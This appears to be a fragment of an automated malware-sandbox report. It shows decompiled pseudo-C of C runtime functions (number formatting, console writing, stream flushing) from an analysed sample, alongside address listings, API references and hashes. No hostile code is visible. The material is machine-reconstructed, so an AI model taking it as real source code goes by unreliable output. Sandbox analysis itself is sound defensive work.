												 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
												E0041ADF0(_t524 - 0x40);
												_t478 =  *(_t524 - 0x2ec);
												goto L211;
											}
										}
										L178:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L180:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L181;
										}
										L179:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L181;
										}
										goto L180;
									}
									L174:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2b4);
									__edx =  *(__ebp - 0x2b8);
									__eax = E004308C0( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
									 *(__ebp - 0x2a4) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2b4);
									__ecx =  *(__ebp - 0x2b8);
									 *(__ebp - 0x2b8) = E00430940( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2b4) = __edx;
									__eflags =  *(__ebp - 0x2a4) - 0x39;
									if( *(__ebp - 0x2a4) > 0x39) {
										__edx =  *(__ebp - 0x2a4);
										__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2a4) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2a4);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									goto L173;
								}
							}
							L159:
							__eflags =  *(__ebp - 0x2b0);
							if( *(__ebp - 0x2b0) >= 0) {
								goto L161;
							}
							goto L160;
							L161:
							__ecx =  *(__ebp - 0x2b0);
							 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
							__edx =  *(__ebp - 0x2ac);
							 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
							goto L162;
						}
					}
				}
			}

0x00427d18
0x00427d18
0x00427d18
0x00427d18
0x00427d22
0x00427d22
0x00427d22
0x00427d2c
0x00427d2c
0x00427d32
0x00427d34
0x00427d3e
0x00427d3e
0x00427d41
0x00427d44
0x00427d44
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e27
0x00427e2b
0x00427e33
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e0c
0x00427e10
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427de6
0x00427df2
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dca
0x00427dce
0x00427dd6
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427d9d
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d75
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00427e49
0x00427e49
0x00427e50
0x00000000
0x00000000
0x00427e52
0x00427e52
0x00427e5d
0x00427e63
0x00427e65
0x00427e6b
0x00427e6e
0x00427e70
0x00427e76
0x00427e7f
0x00427e84
0x00427ea1
0x00427ea4
0x00427ea4
0x00427ea9
0x00427eae
0x00427eae
0x00427eb4
0x00427eb6
0x00427ebc
0x00427ec2
0x00427ec2
0x00427ecb
0x00427ecb
0x00427eb4
0x00427ed1
0x00427ed5
0x00427ee3
0x00427ee6
0x00427ee9
0x00427ef0
0x00427ef2
0x00427ef2
0x00427ed7
0x00427ed7
0x00427ed7
0x00427eff
0x00427eff
0x00427f05
0x00427f07
0x00427f07
0x00427f0e
0x00427f11
0x00427f14
0x00427f14
0x00427f14
0x00427f1a
0x00427f1d
0x00427f20
0x00427f22
0x00000000
0x00000000
0x00427f24
0x00427f2a
0x00427f2a
0x00427f30
0x00427fad
0x00427fb0
0x00427fb3
0x00427fb6
0x00427fb9
0x00427fbc
0x00427fc2
0x00427fc2
0x00427fc8
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00427ffd
0x00428000
0x00428000
0x00428003
0x00428008
0x00428008
0x0042800d
0x0042801f
0x0042801f
0x00428022
0x00428034
0x00428034
0x00428037
0x00428039
0x0042803d
0x0042803d
0x00428024
0x00428024
0x00428028
0x00428028
0x0042800f
0x0042800f
0x00428013
0x00428013
0x0042800d
0x00428047
0x0042804a
0x0042804d
0x00428056
0x00428056
0x00428059
0x0042805b
0x00428062
0x00428066
0x0042806f
0x00428074
0x00428077
0x0042807e
0x00428082
0x00428086
0x00428092
0x00428095
0x00428095
0x00428098
0x0042809d
0x0042809d
0x004280a0
0x004280a2
0x004280a9
0x004280ad
0x004280b6
0x004280bb
0x004280a0
0x004280be
0x004280c2
0x00428196
0x00428196
0x0042819d
0x004281a1
0x004281a5
0x004281a9
0x00000000
0x004280c8
0x004280c8
0x004280c8
0x004280cc
0x00000000
0x00000000
0x004280d2
0x004280d2
0x004280dc
0x004280df
0x004280e5
0x004280e8
0x004280ee
0x004280ee
0x004280ee
0x004280fa
0x004280fd
0x00428103
0x00428105
0x00000000
0x00000000
0x0042810b
0x0042810b
0x00428114
0x0042811b
0x00428125
0x0042812c
0x0042813b
0x00428147
0x0042814a
0x00428150
0x00428157
0x00428162
0x00428162
0x00000000
0x00428162
0x00428159
0x00428159
0x00428160
0x0042816e
0x0042816e
0x00428175
0x00428179
0x00428187
0x00000000
0x0042818c
0x00000000
0x00428160
0x00428194
0x004281b1
0x004281b1
0x004281b8
0x004281bd
0x004281bd
0x004281c0
0x004281c2
0x004281c9
0x004281cd
0x004281d6
0x004281db
0x004281c0
0x004281b8
0x004281de
0x004281de
0x004281e2
0x004281ea
0x004281f2
0x004281f2
0x004281f9
0x004281f9
0x0042737f
0x00427392
0x00427397
0x00000000
0x004273aa
0x004273b4
0x004273db
0x004273c2
0x004273d3
0x004273d3
0x004273b4
0x004273e5
0x004273eb
0x004273fd
0x00427408
0x00427414
0x00427421
0x00000000
0x00000000
0x00427427
0x0042742d
0x00000000
0x00427434
0x00427434
0x0042744c
0x00427451
0x00427456
0x00427510
0x00427523
0x00427528
0x00000000
0x0042745c
0x0042746f
0x00427474
0x0042747a
0x0042747c
0x00427485
0x00427488
0x00427494
0x00427498
0x0042749e
0x004274a0
0x004274a5
0x004274a7
0x004274ac
0x004274b1
0x004274b3
0x004274b8
0x004274be
0x004274c0
0x004274c0
0x004274be
0x004274c1
0x004274c8
0x00000000
0x004274ca
0x004274cf
0x004274eb
0x004274f3
0x00427500
0x00427505
0x00000000
0x00427505
0x004274c8
0x00000000
0x00427530
0x00427530
0x00427537
0x0042753a
0x0042753d
0x00427540
0x00427543
0x00427546
0x00427549
0x00427550
0x00427557
0x00000000
0x00000000
0x00427563
0x00427563
0x0042756a
0x00427576
0x00427579
0x0042757f
0x00427586
0x00000000
0x00000000
0x00427588
0x00427588
0x0042758e
0x0042758e
0x00427595
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004275d8
0x004275d8
0x004275df
0x004275e2
0x0042760c
0x0042760f
0x0042760f
0x00427612
0x00427619
0x00427619
0x0042761d
0x004275e4
0x004275e4
0x004275f0
0x004275f3
0x004275f7
0x004275f9
0x004275fc
0x004275fc
0x004275ff
0x00427605
0x00427607
0x00427607
0x0042760a
0x00427620
0x00000000
0x00000000
0x00427625
0x00427625
0x00000000
0x00000000
0x00427631
0x00427631
0x00427638
0x0042763b
0x0042765b
0x0042765e
0x0042765e
0x00427668
0x00427668
0x0042766c
0x0042763d
0x0042763d
0x00427649
0x0042764c
0x00427650
0x00427652
0x00427652
0x00427659
0x00000000
0x00000000
0x00427674
0x00427674
0x0042767b
0x00427687
0x0042768a
0x00427690
0x00427697
0x004277aa
0x00000000
0x004277aa
0x0042769d
0x0042769d
0x004276a3
0x004276a3
0x004276aa
0x00000000
0x004276e0
0x004276e0
0x004276e3
0x004276e6
0x004276e9
0x00427711
0x00427711
0x00427714
0x00427717
0x0042771a
0x0042773f
0x0042773f
0x00427742
0x00427745
0x00427748
0x00427781
0x00427792
0x00000000
0x00427792
0x0042774a
0x0042774a
0x0042774d
0x00427750
0x00427753
0x00000000
0x00000000
0x00427755
0x00427755
0x00427758
0x0042775b
0x0042775e
0x00000000
0x00000000
0x00427760
0x00427760
0x00427763
0x00427766
0x00427769
0x00000000
0x00000000
0x0042776b
0x0042776b
0x0042776e
0x00427771
0x00427774
0x00000000
0x00000000
0x00427776
0x00427776
0x00427779
0x0042777c
0x0042777f
0x00427783
0x00000000
0x00427783
0x00000000
0x0042777f
0x0042771c
0x0042771c
0x0042771f
0x00427723
0x00427726
0x00000000
0x00427728
0x0042772b
0x0042772e
0x00427731
0x00427734
0x0042773a
0x00000000
0x0042773a
0x00427726
0x004276eb
0x004276eb
0x004276ee
0x004276f2
0x004276f5
0x00000000
0x004276f7
0x004276fa
0x004276fd
0x00427700
0x00427703
0x00427709
0x00000000
0x00427709
0x00000000
0x00427794
0x00427797
0x0042779a
0x00000000
0x00000000
0x004276b1
0x004276b1
0x004276b4
0x004276b7
0x004276ba
0x004276d2
0x004276d5
0x004276d5
0x004276d8
0x004276bc
0x004276bf
0x004276c2
0x004276c8
0x004276cd
0x004276cd
0x00000000
0x00000000
0x0042779f
0x0042779f
0x004277a2
0x004277a2
0x004277a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004277af
0x004277af
0x004277b6
0x004277c2
0x004277c5
0x004277cb
0x004277d2
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x004277d8
0x004277de
0x004277de
0x004277e5
0x00000000
0x00427b3f
0x00427b3f
0x00427b46
0x00427b4d
0x00427b4d
0x00427b50
0x00000000
0x00000000
0x004277ec
0x004277ef
0x004277ef
0x004277f5
0x004277f7
0x004277fa
0x004277fa
0x004277ff
0x004277ff
0x00000000
0x00000000
0x0042792c
0x0042792f
0x0042792f
0x00427934
0x00427936
0x00427939
0x00427939
0x0042793f
0x0042793f
0x00000000
0x00000000
0x00427d0c
0x00427d0c
0x00427d22
0x00427d22
0x00427d2c
0x00427d2c
0x00427d32
0x00427d34
0x00427d3e
0x00427d3e
0x00427d41
0x00427d44
0x00427d44
0x00000000
0x00000000
0x00427896
0x00427896
0x004278a2
0x004278a8
0x004278af
0x004278bd
0x004278bd
0x004278c3
0x004278c6
0x004278d2
0x00427927
0x00000000
0x00427927
0x004278b1
0x004278b1
0x004278b7
0x004278bb
0x004278d7
0x004278da
0x004278da
0x004278e0
0x00427908
0x0042790f
0x00427915
0x00427918
0x0042791b
0x00427921
0x00427924
0x004278e2
0x004278e2
0x004278e8
0x004278eb
0x004278ee
0x004278f4
0x004278f7
0x004278fa
0x004278fc
0x004278ff
0x004278ff
0x00000000
0x004278e0
0x00000000
0x00000000
0x00427b56
0x00427b59
0x00427b5c
0x00427b5f
0x00427b65
0x00427b68
0x00427b6f
0x00427b73
0x00427b7e
0x00427b7e
0x00427b82
0x00427b99
0x00427b99
0x00427ba0
0x00427ba2
0x00427ba2
0x00427ba9
0x00427ba9
0x00427bb0
0x00427bc1
0x00427bd0
0x00427bd3
0x00427bd7
0x00427bed
0x00427bd9
0x00427bd9
0x00427bdc
0x00427be2
0x00427be8
0x00427be8
0x00427bd7
0x00427bf7
0x00427bfa
0x00427bfd
0x00427c00
0x00427c00
0x00427c03
0x00427c03
0x00427c06
0x00427c0c
0x00427c12
0x00427c1a
0x00427c1b
0x00427c1e
0x00427c1f
0x00427c22
0x00427c23
0x00427c2a
0x00427c2b
0x00427c2e
0x00427c2f
0x00427c32
0x00427c33
0x00427c39
0x00427c3a
0x00427c48
0x00427c4a
0x00427c50
0x00427c50
0x00427c56
0x00427c58
0x00427c5c
0x00427c5e
0x00427c66
0x00427c67
0x00427c6a
0x00427c6b
0x00427c79
0x00427c7b
0x00427c7b
0x00427c5c
0x00427c7e
0x00427c85
0x00427c88
0x00427c8d
0x00427c8d
0x00427c93
0x00427c95
0x00427c9d
0x00427c9e
0x00427ca1
0x00427ca2
0x00427cb1
0x00427cb3
0x00427cb3
0x00427c93
0x00427cb6
0x00427cb9
0x00427cbc
0x00427cbf
0x00427cc4
0x00427cca
0x00427ccd
0x00427cd0
0x00427cd0
0x00427cd3
0x00427cd3
0x00427cd6
0x00427ce2
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00000000
0x00427ff3
0x00427b84
0x00427b84
0x00427b8b
0x00427b8e
0x00000000
0x00000000
0x00427b90
0x00427b90
0x00000000
0x00427b90
0x00427b75
0x00427b75
0x00000000
0x00000000
0x00427802
0x00427805
0x00427805
0x0042780b
0x00427862
0x00427866
0x0042786e
0x00427875
0x0042787b
0x00427881
0x00427888
0x00427888
0x0042788e
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x0042780d
0x0042780d
0x00427817
0x0042781b
0x00427823
0x0042782a
0x00427837
0x0042783e
0x0042784a
0x00427850
0x00427857
0x00427859
0x00427859
0x00427860
0x00000000
0x00000000
0x00427cea
0x00427ced
0x00427cf0
0x00427cf3
0x00427d6b
0x00427d6e
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e27
0x00427e2b
0x00427e33
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e0c
0x00427e10
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427de6
0x00427df2
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dca
0x00427dce
0x00427dd6
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427d9d
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d75
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427a48
0x00427a48
0x00427a54
0x00427a5a
0x00427a5f
0x00427a61
0x00427b0b
0x00427b0e
0x00427b0e
0x00427b11
0x00427b25
0x00427b2b
0x00427b31
0x00427b13
0x00427b13
0x00427b20
0x00427b20
0x00427b33
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x00427a67
0x00427a67
0x00427a67
0x00427a69
0x00427a77
0x00427a6b
0x00427a6b
0x00427a6b
0x00427a81
0x00427a87
0x00427a8d
0x00427a94
0x00427a96
0x00427a9b
0x00427a9d
0x00427aa2
0x00427aa7
0x00427aa9
0x00427aae
0x00427ab1
0x00427ab4
0x00427ab6
0x00427ab6
0x00427ab4
0x00427ab7
0x00427abe
0x00427b06
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ac0
0x00427ac0
0x00427ac5
0x00427ae1
0x00427ae9
0x00427af3
0x00427af6
0x00427afb
0x00428218
0x00428225
0x00428225
0x00000000
0x00427d4d
0x00427d4d
0x00427d57
0x00427d57
0x00427d5d
0x00427d5f
0x00427d62
0x00427d62
0x00427d68
0x00427d68
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e27
0x00427e2b
0x00427e33
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e0c
0x00427e10
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427de6
0x00427df2
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dca
0x00427dce
0x00427dd6
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427d9d
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d75
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427e47
0x00000000
0x00427d05
0x00427d05
0x00000000
0x00000000
0x00427942
0x00427942
0x00427946
0x00427954
0x00427957
0x00427948
0x00427948
0x00427948
0x0042795d
0x00427963
0x00427969
0x00427975
0x0042797b
0x0042797b
0x00427981
0x004279e8
0x004279e8
0x004279ec
0x004279ee
0x004279f4
0x004279f4
0x004279f7
0x004279fa
0x00427a00
0x00427a00
0x00427a00
0x00427a0c
0x00427a0f
0x00427a15
0x00427a17
0x00000000
0x00000000
0x00427a19
0x00427a19
0x00427a1f
0x00427a22
0x00427a24
0x00000000
0x00000000
0x00427a26
0x00427a2c
0x00427a2f
0x00427a2f
0x00427a37
0x00427a37
0x00427a3d
0x00427a3d
0x00427a40
0x00000000
0x00427983
0x00427983
0x00427983
0x00427987
0x00427989
0x0042798e
0x0042798e
0x00427991
0x00427998
0x0042799b
0x004279a1
0x004279a1
0x004279a1
0x004279ad
0x004279b0
0x004279b6
0x004279b8
0x00000000
0x00000000
0x004279ba
0x004279ba
0x004279c0
0x004279c3
0x004279c5
0x00000000
0x00000000
0x004279c7
0x004279cd
0x004279d0
0x004279d0
0x004279d8
0x004279de
0x004279e1
0x004279e3
0x00427a43
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x00000000
0x00427cfc
0x00427cfc
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e27
0x00427e2b
0x00427e33
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e0c
0x00427e10
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427de6
0x00427df2
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dca
0x00427dce
0x00427dd6
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427d9d
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d75
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00000000
0x00000000
0x004275b2
0x004275b5
0x004275b8
0x00000000
0x00000000
0x004275bd
0x004275c0
0x004275c5
0x00000000
0x00000000
0x004275a7
0x004275a7
0x004275aa
0x004275ad
0x00000000
0x00000000
0x0042759c
0x0042759f
0x004275a2
0x00000000
0x00000000
0x004275ca
0x004275ca
0x004275cd
0x004275cd
0x004275d0
0x00000000
0x00000000
0x004275d3
0x00000000
0x00000000
0x0042742d
0x004281fe
0x00428204
0x0042820d
0x00428212
0x00000000
0x00428212
0x00427ff3
0x00427fca
0x00427fca
0x00427fce
0x00427fdb
0x00427fde
0x00427fe1
0x00427fe4
0x00427fe7
0x00427fea
0x00427fed
0x00427fed
0x00427ff0
0x00000000
0x00427ff0
0x00427fd0
0x00427fd0
0x00427fd3
0x00427fd6
0x00427fd9
0x00000000
0x00000000
0x00000000
0x00427fd9
0x00427f32
0x00427f32
0x00427f35
0x00427f38
0x00427f3f
0x00427f46
0x00427f4e
0x00427f54
0x00427f57
0x00427f5a
0x00427f61
0x00427f6d
0x00427f73
0x00427f79
0x00427f80
0x00427f82
0x00427f88
0x00427f88
0x00427f8e
0x00427f8e
0x00427f94
0x00427f97
0x00427f9d
0x00427fa2
0x00427fa5
0x00427f14
0x00427f14
0x00427f1a
0x00427f1d
0x00427f20
0x00427f22
0x00000000
0x00000000
0x00000000
0x00427f22
0x00427f14
0x00427e54
0x00427e54
0x00427e5b
0x00000000
0x00000000
0x00000000
0x00427e89
0x00427e89
0x00427e8f
0x00427e95
0x00427e9b
0x00000000
0x00427e9b
0x00427d6b
0x00427d22

APIs

_get_int64_arg.LIBCMTD ref: 00427D79
__aullrem.LIBCMT ref: 00427F46
__aulldiv.LIBCMT ref: 00427F68

Strings

9, xrefs: 00427F79
0, xrefs: 00427D34
', xrefs: 00427D18

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction ID: c442f2760ea8d66c51f27af56a425be1cd7d8d1003eb542230f14d5aaa304516
Opcode Fuzzy Hash: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction Fuzzy Hash: 2E412571E18229CFDB64DF48D989BAEB7B5BF84304F5081DAD008AB241C7389E80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0043B450, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B450(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0xd7bbcde4
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D280();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BDF0(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b450
0x0043b458
0x0043b45f
0x0043b469
0x0043b4de
0x0043b4e5
0x0043b538
0x0043b538
0x0043b4e7
0x0043b506
0x0043b510
0x0043b531
0x0043b531
0x0043b512
0x0043b520
0x0043b52f
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b52f
0x0043b510
0x0043b46b
0x0043b472
0x0043b474
0x0043b474
0x0043b480
0x0043b49a
0x0043b4a9
0x0043b4d4
0x00000000
0x0043b4ab
0x0043b4b2
0x0043b4cb
0x0043b4bf
0x0043b4bf
0x00000000
0x0043b4d2
0x0043b4b2
0x0043b482
0x0043b482
0x0043b482
0x0043b480
0x0043b549

APIs

___initconout.LIBCMTD ref: 0043B474

Part of subcall function 0043D280: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B479), ref: 0043D299

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B4F9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B500
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B527

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 2e505b59f9445fae67540edda801111be07d95f2257a770c0b1d1e54be55b13c
Instruction ID: c22a7fc16d8fc28b7b5547488932b9227ac7cc505cdc32cd3a3fb7e915107854
Opcode Fuzzy Hash: 2e505b59f9445fae67540edda801111be07d95f2257a770c0b1d1e54be55b13c
Instruction Fuzzy Hash: 2821D334640308FBDB20DF64ED05BEA3364EB29318F50027AF706962E1D7788985DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D373, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D373() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00433130( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E350();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432DF0(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
